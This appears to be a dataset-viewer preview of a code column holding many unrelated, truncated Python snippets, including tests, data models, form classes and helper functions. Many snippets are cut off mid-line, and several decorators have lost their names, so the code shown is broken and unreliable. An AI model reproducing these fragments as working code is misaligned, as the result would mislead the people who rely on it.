code stringlengths 281 23.7M |
|---|
def test_traverse_overridden_option_1():
options = {'option2': 'option2'}
config = providers.Configuration()
config.option1.from_dict(options)
all_providers = list(config.traverse())
assert (len(all_providers) == 2)
assert (config.option1 in all_providers)
assert (config.last_overriding in a... |
('foremast.elb.format_listeners.get_template')
def test_elb_cert_name_v2(rendered_template):
rendered_template.return_value = SAMPLE_TLSCERT_V2_JSON
iam_cert = 'arn:aws:iam:::server-certificate/wildcard.example.com-2020-07-15'
assert (iam_cert == format_cert_name(env='prod', account='', region='us-east-1', ... |
class FlacFormat(CaseInsensitiveBaseFormat):
MutagenType = flac.FLAC
tag_mapping = {'cover': '__cover', 'language': 'Language', '__rating': 'rating'}
writable = True
case_sensitive = False
def get_bitrate(self):
return (- 1)
def get_keys_disk(self):
keys = CaseInsensitiveBaseForm... |
def test_result_to_table(df):
model = Lm('DV ~ IV1 + IV3', data=df)
model.fit(summarize=False)
formatted = result_to_table(model, drop_intercept=False)
assert isinstance(formatted, pd.DataFrame)
assert (formatted.shape == (3, 6))
assert (set(['Predictor', 'b', 'ci', 't', 'df', 'p']) == set(forma... |
def test_relative_layout(manager):
layout = textwrap.dedent('\n from qtile_extras.popup.toolkit import PopupRelativeLayout, PopupText\n self.popup = PopupRelativeLayout(\n self,\n controls=[\n PopupText(\n "Test",\n pos_x=0.1,\... |
class Tool(BaseModel):
class Config():
extra = Extra.forbid
arbitrary_types_allowed = True
function: Callable[(..., str)]
name: str = ''
description: str = ''
coroutine: Optional[Callable[(..., Awaitable[str])]] = None
def run(self, tool_input: Dict[(str, str)]) -> str:
r... |
class PythonDropTarget(wx.DropTarget):
def __init__(self, handler):
super().__init__()
self.handler = handler
self.data_object = wx.DataObjectComposite()
self.data = wx.CustomDataObject(PythonObject)
self.data_object.Add(self.data, preferred=True)
self.file_data = wx.... |
class ReqContext(BaseModel):
user_name: Optional[str] = Field(None, description='The user name of the model request.')
sys_code: Optional[str] = Field(None, description='The system code of the model request.')
conv_uid: Optional[str] = Field(None, description='The conversation uid of the model request.') |
class OAuth2TokenRequest(_common.FlyteIdlEntity):
class Type(Enum):
CLIENT_CREDENTIALS = _sec.OAuth2TokenRequest.Type.CLIENT_CREDENTIALS
name: str
client: OAuth2Client
idp_discovery_endpoint: Optional[str] = None
token_endpoint: Optional[str] = None
type_: Type = Type.CLIENT_CREDENTIALS
... |
class HttpDialogues(Model, BaseHttpDialogues):
def __init__(self, **kwargs: Any) -> None:
Model.__init__(self, **kwargs)
def role_from_first_message(message: Message, receiver_address: Address) -> BaseDialogue.Role:
return BaseHttpDialogue.Role.CLIENT
BaseHttpDialogues.__init__(s... |
class AddRecordForm(forms.ModelForm):
first_name = forms.CharField(required=True, widget=forms.widgets.TextInput(attrs={'placeholder': 'First Name', 'class': 'form-control'}), label='')
last_name = forms.CharField(required=True, widget=forms.widgets.TextInput(attrs={'placeholder': 'Last Name', 'class': 'form-co... |
def extractTraventranslatesWordpressCom(item):
(vol, chp, frag, postfix) = extractVolChapterFragmentPostfix(item['title'])
if ((not (chp or vol)) or ('preview' in item['title'].lower())):
return None
tagmap = [('PRC', 'PRC', 'translated'), ('Loiterous', 'Loiterous', 'oel')]
for (tagname, name, t... |
def get_boundary_bin_id(hic, bed_fh):
line_number = 0
boundaries = set()
for line in bed_fh.readlines():
line_number += 1
line = toString(line)
if (line.startswith('browser') or line.startswith('track') or line.startswith('#')):
continue
try:
(chrom, s... |
def register():
logging_format = ((('[%(levelname)s] ' + '(%(asctime)s) ') + '{0}.%(module)s.%(funcName)s():L%(lineno)s'.format(__package__)) + ' - %(message)s')
logging.basicConfig(level=logging.DEBUG, format=logging_format, datefmt='%Y/%m/%d %H:%M:%S')
for cls in classes:
bpy.utils.register_class(... |
class AsyncChainMixin(AsyncChainAPI):
chaindb_class: Type[ChainDatabaseAPI] = AsyncChainDB
coro_get_ancestors = async_method(Chain.get_ancestors)
coro_get_block_by_hash = async_method(Chain.get_block_by_hash)
coro_get_block_by_header = async_method(Chain.get_block_by_header)
coro_get_block_header_by... |
def test_irapbin_load_meta_first_bytesio():
logger.info('Import and export...')
with open(TESTSET1, 'rb') as fin:
stream = io.BytesIO(fin.read())
xsurf = xtgeo.surface_from_file(stream, fformat='irap_binary', values=False)
assert (xsurf.ncol == 554)
assert (xsurf.nrow == 451)
xsurf.descr... |
def test_transaction_confirmation_serialization():
msg = TacMessage(performative=TacMessage.Performative.TRANSACTION_CONFIRMATION, transaction_id='some_transaction_id', amount_by_currency_id={'key_1': 1, 'key_2': 2}, quantities_by_good_id={'key_1': 1, 'key_2': 2})
msg.to = 'receiver'
envelope = Envelope(to=... |
class TrioQueue(BaseQueue):
def __init__(self, capacity: int) -> None:
(self._send_channel, self._receive_channel) = trio.open_memory_channel(max_buffer_size=capacity)
async def get(self) -> typing.Any:
return (await self._receive_channel.receive())
async def put(self, value: typing.Any) -> ... |
class AdsHistogramStats(AbstractObject):
def __init__(self, api=None):
super(AdsHistogramStats, self).__init__()
self._isAdsHistogramStats = True
self._api = api
class Field(AbstractObject.Field):
field_1d_click = '1d_click'
field_1d_ev = '1d_ev'
field_1d_view = '... |
class ReportForm(FlaskForm):
reason = TextAreaField(_('Reason'), validators=[DataRequired(message=_('What is the reason for reporting this post?'))])
submit = SubmitField(_('Report post'))
def save(self, user, post):
report = Report(reason=self.reason.data)
return report.save(post=post, user... |
def main(interface: 'Decompiler'):
args = parse_commandline()
configure_logging(level=VERBOSITY_TO_LOG_LEVEL[min(3, args.verbose)])
options = Options.from_cli(args)
if args.print:
print(options)
return
decompiler = interface.from_path(args.binary, options)
if (args.outfile is Non... |
def main(pull_request: str, github: ghstack.github.GitHubEndpoint, sh: Optional[ghstack.shell.Shell]=None, close: bool=False) -> None:
params = ghstack.github_utils.parse_pull_request(pull_request)
pr_result = github.graphql('\n query ($owner: String!, $name: String!, $number: Int!) {\n reposi... |
def exec_cmd(cmd_name: str, args: str, func_descript: json) -> None:
full_command = ['sudo']
full_command.append(cmd_name)
positional_arg = None
for (arg, value) in args.items():
if ((value is not True) and (value is not False)):
if (not is_positional_arg(cmd_name, arg)):
... |
def get_test_functions(integration_dim, backend, use_multi_dim_integrand):
if (integration_dim == 1):
res = [Polynomial(4.0, [2.0], is_complex=False, backend=backend, integrand_dims=1), Polynomial(0, [0, 1], is_complex=False, backend=backend, integrand_dims=1), Polynomial((2 / 3), [0, 0, 2], domain=[[0, 1]]... |
class P3R1GE4JGF(DDR2Module):
nbanks = 8
nrows = 8192
ncols = 1024
technology_timings = _TechnologyTimings(tREFI=(.0 / 8192), tWTR=(None, 7.5), tCCD=(2, None), tRRD=None)
speedgrade_timings = {'default': _SpeedgradeTimings(tRP=12.5, tRCD=12.5, tWR=15, tRFC=(None, 127.5), tFAW=None, tRAS=None)} |
class XSSerProtocol(Protocol):
transport = None
factory = None
def connectionMade(self):
self.factory._clients.append(self)
print('new client connected...')
def connectionLost(self, reason):
self.factory._clients.remove(self)
def sendHTTP(self, data):
self.transport.w... |
def extractJinzeffectWpcomstagingCom(item):
(vol, chp, frag, postfix) = extractVolChapterFragmentPostfix(item['title'])
if ((not (chp or vol)) or ('preview' in item['title'].lower())):
return None
tagmap = [('PRC', 'PRC', 'translated'), ('Loiterous', 'Loiterous', 'oel')]
for (tagname, name, tl_t... |
def extract_flake8_rst_docstrings() -> Dict[(str, str)]:
from flake8_rst_docstrings import code_mappings_by_level
codes = dict()
for (level, codes_mapping) in code_mappings_by_level.items():
for (message, number) in codes_mapping.items():
code = 'RST{}{:02d}'.format(level, number)
... |
def _snowflake_execute_sql(adapter: BaseAdapter, sql: str, new_conn: bool, *, fetch: bool=True) -> Tuple[(AdapterResponse, pd.DataFrame)]:
assert (adapter.type() == 'snowflake')
import snowflake.connector as snowflake
from dbt.adapters.snowflake import SnowflakeConnectionManager
with _existing_or_new_co... |
def calc_adaptation_matrices(w1: tuple[(float, float)], w2: tuple[(float, float)], m: Matrix) -> tuple[(Matrix, Matrix)]:
src = alg.matmul(m, util.xy_to_xyz(w1), dims=alg.D2_D1)
dest = alg.matmul(m, util.xy_to_xyz(w2), dims=alg.D2_D1)
m2 = alg.diag(alg.divide(dest, src, dims=alg.D1))
adapt = alg.matmul(... |
def _test_data(db):
baker.make('search.AwardSearch', award_id=1)
baker.make('awards.ParentAward', award_id=1, generated_unique_award_id='CONT_IDV_2', direct_idv_count=3, direct_contract_count=4, direct_total_obligation='5.01', direct_base_and_all_options_value='6.02', direct_base_exercised_options_val='7.03', r... |
def get_deck_mostly_linked_to_note(siac_nid: int) -> Optional[str]:
conn = _get_connection()
nids = conn.execute(f'select nid from notes_pdf_page where siac_nid = {siac_nid} order by rowid desc limit 50').fetchall()
conn.close()
if (len(nids) == 0):
return None
nids = ','.join([str(nid[0]) f... |
class LruLockWrapper():
def __init__(self, lru: LRU) -> None:
self.lru = lru
self.lock = threading.Lock()
def __getitem__(self, *args: Any, **kwargs: Any) -> Any:
with self.lock:
return self.lru.__getitem__(*args, **kwargs)
def __setitem__(self, *args: Any, **kwargs: Any)... |
def main():
module_spec = schema_to_module_spec(versioned_schema)
mkeyname = None
fields = {'access_token': {'required': False, 'type': 'str', 'no_log': True}, 'enable_log': {'required': False, 'type': 'bool', 'default': False}, 'vdom': {'required': False, 'type': 'str', 'default': 'root'}, 'member_path': {... |
class OptionSeriesTimelineLabelStyle(Options):
def fontSize(self):
return self._config_get('0.8em')
def fontSize(self, num: float):
self._config(num, js_type=False)
def fontWeight(self):
return self._config_get('bold')
def fontWeight(self, text: str):
self._config(text, j... |
def test_generate_fiscal_year_and_quarter():
assert (fyh.generate_fiscal_year_and_quarter(date(2000, 9, 30)) == '2000-Q4')
assert (fyh.generate_fiscal_year_and_quarter(date(2001, 10, 1)) == '2002-Q1')
assert (fyh.generate_fiscal_year_and_quarter(date(2020, 3, 2)) == '2020-Q2')
assert (fyh.generate_fisca... |
class Label(Base, ReprMixIn):
__tablename__ = 'labels'
REPR_SQL_ATTR_SORT_FIRST = ['version_id', 'name', 'value']
version_id = sqlalchemy.Column(sqlalchemy.Integer, sqlalchemy.ForeignKey('versions.id', ondelete='CASCADE'), primary_key=True, nullable=False)
name = sqlalchemy.Column(sqlalchemy.String(255)... |
class RawOutputDataConfig(FlyteIdlEntity):
def __init__(self, output_location_prefix):
self._output_location_prefix = output_location_prefix
def output_location_prefix(self):
return self._output_location_prefix
def to_flyte_idl(self):
return _common_pb2.RawOutputDataConfig(output_loc... |
class DeleteReport(MethodView):
decorators = [allows.requires(IsAtleastModerator, on_fail=FlashAndRedirect(message=_('You are not allowed to view reports.'), level='danger', endpoint='management.overview'))]
def post(self, report_id=None):
json = request.get_json(silent=True)
if (json is not Non... |
class Display(lg.Node):
KEYS_TOPIC = lg.Topic(KeysMessage)
DISPLAY_TOPIC = lg.Topic(DisplayMessage)
def setup(self) -> None:
self._stims = None
self._shutdown = False
def cleanup(self) -> None:
self._shutdown = True
def _setup_stims(self, window: visual.Window) -> Dict[(str, ... |
def guidedUpdate(tdb, cmdenv):
dbFilename = tdb.dbFilename
stationID = cmdenv.startStation.ID
tmpPath = getTemporaryPath(cmdenv)
cur = tdb.query("\n SELECT JULIANDAY('now') - JULIANDAY(MIN(modified)),\n JULIANDAY('now') - JULIANDAY(MAX(modified))\n FROM StationItem\n ... |
class ExtendedRoom(DefaultRoom):
fallback_desc = 'You see nothing special.'
room_state_tag_category = 'room_state'
months_per_year = 12
hours_per_day = 24
seasons_per_year = {'spring': ((3 / months_per_year), (6 / months_per_year)), 'summer': ((6 / months_per_year), (9 / months_per_year)), 'autumn':... |
(auto_attribs=True)
class InvoiceItem():
name: str
amount: int
quantity: int
machine_type: str
run_type: str
additional_properties: Dict[(str, Any)] = attr.ib(init=False, factory=dict)
def to_dict(self) -> Dict[(str, Any)]:
name = self.name
amount = self.amount
quanti... |
def to_dict(package, with_latest_build=False, with_latest_succeeded_build=False):
source_dict = package.source_json_dict
if ('srpm_build_method' in source_dict):
source_dict['source_build_method'] = source_dict.pop('srpm_build_method')
latest = None
if with_latest_build:
latest = getattr... |
class parent_port(bsn_tlv):
type = 109
def __init__(self, value=None):
if (value != None):
self.value = value
else:
self.value = 0
return
def pack(self):
packed = []
packed.append(struct.pack('!H', self.type))
packed.append(struct.pack(... |
class ADSEntity():
def __init__(self, i2cAddress, busnum=1, atype=0):
self.busy = False
self.initialized = False
self.i2cAddress = int(i2cAddress)
self.busnum = int(busnum)
self.values = [0, 0, 0, 0]
try:
if ((atype == 10) or (atype == 0)):
... |
class TestEHABIDecoder(unittest.TestCase):
def testLLVM(self):
mnemonic_array = EHABIBytecodeDecoder([177, 15, 167, 63, 176, 176]).mnemonic_array
self.assertEqual(mnemonic_array[0].mnemonic, 'pop {r0, r1, r2, r3}')
self.assertEqual(mnemonic_array[1].mnemonic, 'pop {r4, r5, r6, r7, r8, r9, r1... |
_meta(characters.keine.TeachAction)
class TeachAction():
def choose_card_text(self, act, cards):
if act.cond(cards):
return (True, '')
else:
return (False, '')
def target(self, pl):
if (not pl):
return (False, '1')
return (True, '!') |
def test_builder_deployment_type_complex(escrow_package):
(escrow, w3) = escrow_package
escrow_dep_type = deployment_type(contract_instance='Escrow', contract_type='Escrow', deployment_bytecode={'bytecode': '0xfd5bfddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa3506103dfffffffff7cea7bcddd14610... |
class StereoBM(BlockMatcher):
parameter_maxima = {'search_range': None, 'window_size': 255, 'stereo_bm_preset': cv2.STEREO_BM_NARROW_PRESET}
def search_range(self):
return self._search_range
_range.setter
def search_range(self, value):
if ((value == 0) or (not (value % 16))):
... |
class ReadOnlyDbInterface():
def __init__(self, connection: (DbConnection | None)=None):
self.connection = (connection or ReadOnlyConnection())
self.ro_session = None
def get_read_only_session(self) -> Session:
if (self.ro_session is not None):
(yield self.ro_session)
... |
class IOServer(Thread):
def __init__(self, rx_port=5556, tx_port=5555, log_file=None):
Thread.__init__(self)
self.rx_port = rx_port
self.tx_port = tx_port
self.__stop = Event()
self.context = zmq.Context()
self.rx_socket = self.context.socket(zmq.SUB)
self.rx_... |
def sympy_to_grim(expr, **kwargs):
import sympy
assert isinstance(expr, sympy.Expr)
if expr.is_Integer:
return Expr(int(expr))
if expr.is_Symbol:
return Expr(symbol_name=expr.name)
if (expr is sympy.pi):
return Pi
if (expr is sympy.E):
return ConstE
if (expr i... |
(frozen=True)
class TableModelDescr():
name: str
def path(self):
if ani.settings['graphics']['physical_based_rendering']:
path = (((ani.model_dir / 'table') / self.name) / (self.name + '_pbr.glb'))
else:
path = (((ani.model_dir / 'table') / self.name) / (self.name + '.glb... |
def create_privacy_request(user_email: str, policy_key: str):
privacy_request_data = [{'requested_at': str(datetime.utcnow()), 'policy_key': policy_key, 'identity': {'email': user_email}}]
url = f'{FIDESOPS_V1_API_URL}{ops_urls.PRIVACY_REQUESTS}'
response = requests.post(url, json=privacy_request_data)
... |
def test_download_and_copy_copy_failure(mock_dependencies):
mock_dependencies.copy_expert.side_effect = Exception('DB Error')
with pytest.raises(Exception, match='DB Error'):
next(_download_and_copy(logger, mock_dependencies, Mock(), DUMMY_BUCKET, DUMMY_KEY, DUMMY_TABLE, DUMMY_COLS, gzipped=True)) |
def is_equal(left, right):
if ((left is not None) and (right is not None)):
if (left != right):
return False
else:
return True
elif ((left is None) and (right is not None)):
return False
elif ((left is not None) and (right is None)):
return False
e... |
def test_compile_solc_object(project, solc5source):
temp = project.compile_source(solc5source)
assert (type(temp) is TempProject)
assert isinstance(temp, _ProjectBase)
assert (len(temp) == 2)
assert (temp._name == 'TempSolcProject')
assert ('Foo' in temp)
assert ('Bar' in temp) |
class EOSBuffer():
def __init__(self, v):
self._value = v
self._count = 0
def _decode_number(self, val, format='L'):
byte_val = binascii.unhexlify(val)
return convert_big_endian(byte_val, format)
def _decode_float(self, val, format='f'):
byte_val = binascii.unhexlify(... |
def test_that_fetching_unknown_parameter_fails():
content = dedent('roff-asc\n #ROFF file#\n #Creator: Ert#\n tag dimensions\n int nX 1\n int nY 1\n int nZ 1\n endtag\n tag parameter\n char name "parameter"\n array float data 1\n 0.0\n endtag\n tag eof\n endtag\n ... |
def extractWwwCntranslationsCom(item):
(vol, chp, frag, postfix) = extractVolChapterFragmentPostfix(item['title'])
if ((not (chp or vol)) or ('preview' in item['title'].lower())):
return None
tagmap = [('PRC', 'PRC', 'translated'), ('Loiterous', 'Loiterous', 'oel')]
for (tagname, name, tl_type) ... |
class FaucetUntaggedMultiMirrorTest(FaucetUntaggedTest):
CONFIG_GLOBAL = '\nvlans:\n 100:\n description: "untagged"\n'
CONFIG = '\n interfaces:\n %(port_1)d:\n native_vlan: 100\n %(port_2)d:\n native_vlan: 100\n %(port_3)d:\n ... |
def mutual_friends(*args):
from ..api.bot import Bot
from ..api.chats import Chats, User
class FuzzyUser(User):
def __init__(self, user):
super(FuzzyUser, self).__init__(user.raw, user.bot)
def __hash__(self):
return hash((self.nick_name, self.sex, self.province, self... |
def test_mask_with_multi_value():
request_id = '123432'
config = RandomStringMaskingConfiguration(length=6)
masker = RandomStringRewriteMaskingStrategy(configuration=config)
masked = masker.mask(['string to mask', 'another string'], request_id)
assert (6 == len(masked[0]))
assert (6 == len(maske... |
def test_instantiated_regular_class_container_types_object2(instantiate_func: Any) -> None:
cfg = {'_target_': 'tests.instantiate.SimpleClass', 'a': [{}, User(name='Bond', age=7)], 'b': None}
ret = instantiate_func(cfg, _convert_=ConvertMode.OBJECT)
assert isinstance(ret.a, list)
assert isinstance(ret.a... |
class OptionPlotoptionsPictorialSonificationContexttracksMappingPan(Options):
def mapFunction(self):
return self._config_get(None)
def mapFunction(self, value: Any):
self._config(value, js_type=False)
def mapTo(self):
return self._config_get(None)
def mapTo(self, text: str):
... |
class IndexManagerMixin():
def test_root_has_no_parent(self):
with self.assertRaises(IndexError):
self.index_manager.get_parent_and_row(Root)
def test_root_to_sequence(self):
result = self.index_manager.to_sequence(Root)
self.assertEqual(result, ())
def test_root_from_seq... |
_chunk_type
class chunk_shutdown(chunk):
_PACK_STR = '!BBHI'
_MIN_LEN = struct.calcsize(_PACK_STR)
def chunk_type(cls):
return TYPE_SHUTDOWN
def __init__(self, flags=0, length=0, tsn_ack=0):
super(chunk_shutdown, self).__init__(self.chunk_type(), length)
self.flags = flags
... |
def configure_logger(verbose: bool, format_: str) -> None:
logger.remove()
if (format_ == 'porcelain'):
logger.add(sys.stderr, level='CRITICAL')
return
if (format_ == 'no-color'):
logger.add(sys.stderr, level=('DEBUG' if verbose else 'INFO'), colorize=False, format='<level>{message}<... |
def leak():
global one_gadget
payload = ('A' * 8)
payload += p64(elf.got['free'])
payload += ('A' * 8)
payload += p64(big_ptr)
payload += p32(1)
renew(1, payload)
renew(2, p64(elf.plt['puts']))
renew(1, p64(elf.got['puts']))
wipe(2)
puts_addr = u64((io.recvline()[:6] + '\x00\... |
class OptionSeriesPieAccessibilityPoint(Options):
def dateFormat(self):
return self._config_get(None)
def dateFormat(self, text: str):
self._config(text, js_type=False)
def dateFormatter(self):
return self._config_get(None)
def dateFormatter(self, value: Any):
self._confi... |
def sdp_bram(name, width, address_bits):
depth = (2 ** address_bits)
return '\nmodule {name}(\n // Write port\n input wrclk,\n input [{width}-1:0] di,\n input wren,\n input [{address_bits}-1:0] wraddr,\n // Read port\n input rdclk,\n input rden,\n input [{address_bits}-1:0] rdaddr,\n ... |
class OptionPlotoptionsWordcloudSonificationDefaultinstrumentoptionsActivewhen(Options):
def crossingDown(self):
return self._config_get(None)
def crossingDown(self, num: float):
self._config(num, js_type=False)
def crossingUp(self):
return self._config_get(None)
def crossingUp(s... |
class BaseRunner(object):
def __init__(self):
identifier = f'D2Go.Runner.{self.__class__.__name__}'
torch._C._log_api_usage_once(identifier)
logger.info('Initializing control pg')
self._control_pg: Optional[dist.ProcessGroup] = None
if dist.is_initialized():
logge... |
def balance_outward(view, syntax_name):
result = []
for sel in view.sel():
regions = get_regions(view, sel.begin(), syntax_name, 'outward')
target_region = sel
for r in regions:
if (r.contains(sel) and (r.end() > sel.end())):
target_region = r
... |
def test_pyproject_poetry_parser():
content = '\n [build-system]\n requires = ["poetry-core"]\n build-backend = "poetry.core.masonry.api"\n\n [tool.poetry.dependencies]\n python = "^3.8.1"\n click = "^8.1.7"\n\n [tool.poetry.dev-dependencies]\n black = "*"\n flake8 = "*"\n isort = "*"\... |
class OptionSeriesSolidgaugeSonificationTracksMappingGapbetweennotes(Options):
def mapFunction(self):
return self._config_get(None)
def mapFunction(self, value: Any):
self._config(value, js_type=False)
def mapTo(self):
return self._config_get(None)
def mapTo(self, text: str):
... |
class OptionSeriesAreaSonificationTracksActivewhen(Options):
def crossingDown(self):
return self._config_get(None)
def crossingDown(self, num: float):
self._config(num, js_type=False)
def crossingUp(self):
return self._config_get(None)
def crossingUp(self, num: float):
se... |
class TestSuperFencesCustomValidatorBroken(util.MdCase):
extension = ['pymdownx.superfences']
extension_configs = {'pymdownx.superfences': {'custom_fences': [{'name': 'test', 'class': 'test', 'format': custom_format, 'validator': custom_validator_exploder}]}}
def test_broken(self):
self.check_markdo... |
def authenticate(allow_refresh_token=False, existing_identity=None):
data = request.get_json()
username = data.get('email', data.get('username'))
password = data.get('password')
criterion = [username, password]
if (not all(criterion)):
logging.error('username or password missing')
re... |
def possible_subdirs(app: metadata.App):
if (app.RepoType == 'srclib'):
build_dir = (Path('build/srclib') / app.Repo)
else:
build_dir = (Path('build') / app.id)
last_build = get_last_build_from_app(app)
for d in dirs_with_manifest(build_dir):
m_paths = common.manifest_paths(d, la... |
class FluentHandler(logging.Handler):
def __init__(self, tag, host='localhost', port=24224, timeout=3.0, verbose=False, buffer_overflow_handler=None, msgpack_kwargs=None, nanosecond_precision=False, **kwargs):
self.tag = tag
self._host = host
self._port = port
self._timeout = timeout... |
class StorageAPI(BaseAPI):
_stores: (dict[(str, Store)] | None)
_config_data: (ConfigData | None)
_data: dict
def __init__(self, hass: (HomeAssistant | None), async_on_data_changed: (Callable[([], Awaitable[None])] | None)=None, async_on_status_changed: (Callable[([ConnectivityStatus], Awaitable[None])]... |
class Field(Html.Html):
name = 'Field'
def __init__(self, page: primitives.PageModel, html_input, label, icon, width, height, html_code, helper, options, profile):
super(Field, self).__init__(page, '', html_code=html_code, profile=profile, css_attrs={'width': width, 'height': height})
self._vals... |
class OptionPlotoptionsNetworkgraphSonificationDefaultinstrumentoptionsActivewhen(Options):
def crossingDown(self):
return self._config_get(None)
def crossingDown(self, num: float):
self._config(num, js_type=False)
def crossingUp(self):
return self._config_get(None)
def crossingU... |
.usefixtures('use_tmpdir')
def test_not_executable_job_script_fails_gracefully():
config_file_name = 'config.ert'
script_name = 'not-executable-script.py'
touch(script_name)
config_file_contents = dedent(f'''NUM_REALIZATIONS 1
JOB_SCRIPT {script_name}
''')
with open(config_file_nam... |
def main():
module_spec = schema_to_module_spec(versioned_schema)
mkeyname = 'name'
fields = {'access_token': {'required': False, 'type': 'str', 'no_log': True}, 'enable_log': {'required': False, 'type': 'bool', 'default': False}, 'vdom': {'required': False, 'type': 'str', 'default': 'root'}, 'member_path':... |
(name=st.text(), input_file=st.text())
def test_serialize_deserialize_gen_data_responses(shared_storage, name, input_file):
responses = [GenDataConfig(name=name, input_file=input_file)]
with open_storage(shared_storage, 'w') as storage:
experiment = storage.create_experiment(responses=responses)
... |
class OptionSeriesSankeyOnpointPosition(Options):
def offsetX(self):
return self._config_get(None)
def offsetX(self, num: float):
self._config(num, js_type=False)
def offsetY(self):
return self._config_get(None)
def offsetY(self, num: float):
self._config(num, js_type=Fal... |
class OptionPlotoptionsPyramidSonificationTracksMappingGapbetweennotes(Options):
def mapFunction(self):
return self._config_get(None)
def mapFunction(self, value: Any):
self._config(value, js_type=False)
def mapTo(self):
return self._config_get(None)
def mapTo(self, text: str):
... |
def edit_notes(note):
if keepmenu.CONF.has_option('database', 'gui_editor'):
editor = keepmenu.CONF.get('database', 'gui_editor')
editor = shlex.split(editor)
else:
if keepmenu.CONF.has_option('database', 'editor'):
editor = keepmenu.CONF.get('database', 'editor')
els... |
def main():
logging.info('Creating Cerebro')
cerebro = bt.Cerebro()
logging.info('Initializing Kiwoom Store')
kiwoomstore = KiwoomOpenApiPlusStore()
logging.info('Getting data')
historial_data = kiwoomstore.getdata(dataname='005930', historical=True)
realtime_data = kiwoomstore.getdata(datan... |
def test_entries_size_0_values(tmpdir, merge_lis_prs):
fpath = os.path.join(str(tmpdir), 'entries-size-0.lis')
content = ((headers + ['data/lis/records/curves/dfsr-entries-size-0.lis.part']) + trailers)
merge_lis_prs(fpath, content)
with lis.load(fpath) as (f,):
dfs = f.data_format_specs()[0]
... |
class OptionSeriesHeatmapSonificationContexttracksMappingTremoloDepth(Options):
def mapFunction(self):
return self._config_get(None)
def mapFunction(self, value: Any):
self._config(value, js_type=False)
def mapTo(self):
return self._config_get(None)
def mapTo(self, text: str):
... |
class IPAdapter(Generic[T], fl.Chain, Adapter[T]):
_clip_image_encoder: list[CLIPImageEncoderH]
_grid_image_encoder: list[CLIPImageEncoderH]
_image_proj: list[fl.Module]
def __init__(self, target: T, clip_image_encoder: CLIPImageEncoderH, image_proj: fl.Module, scale: float=1.0, fine_grained: bool=False... |
.parametrize('elasticapm_client', [{'span_stack_trace_min_duration': 0}], indirect=True)
def test_transaction_span_stack_trace_min_duration_no_limit(elasticapm_client):
elasticapm_client.begin_transaction('test_type')
with elasticapm.capture_span('frames'):
pass
with elasticapm.capture_span('frames'... |
def find_best_vyper_version(contract_sources: Dict[(str, str)], install_needed: bool=False, install_latest: bool=False, silent: bool=True) -> str:
(available_versions, installed_versions) = _get_vyper_version_list()
for (path, source) in contract_sources.items():
pragma_spec = sources.get_vyper_pragma_s... |
def test():
assert ('from spacy.tokens import Doc' in __solution__), 'Importes-tu correctement la classe Doc ?'
assert (doc.text == 'spaCy est cool.'), "Es-tu certain d'avoir cree correctement le Doc ?"
assert ('print(doc.text)' in __solution__), 'Affiches-tu le texte du Doc ?'
__msg__.good('Bien joue !... |
class OptionPlotoptionsVariwideSonificationDefaultinstrumentoptionsMappingPan(Options):
def mapFunction(self):
return self._config_get(None)
def mapFunction(self, value: Any):
self._config(value, js_type=False)
def mapTo(self):
return self._config_get(None)
def mapTo(self, text: ... |
def urlHead(url, timeout=3, allow_redirects=True):
if (not url):
return (False, {})
try:
resp = requests.head(url, timeout=timeout, allow_redirects=allow_redirects)
return (True, resp)
except Exception as e:
print(f'[ERROR] urlHead failed: {e}')
return (False, {}) |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.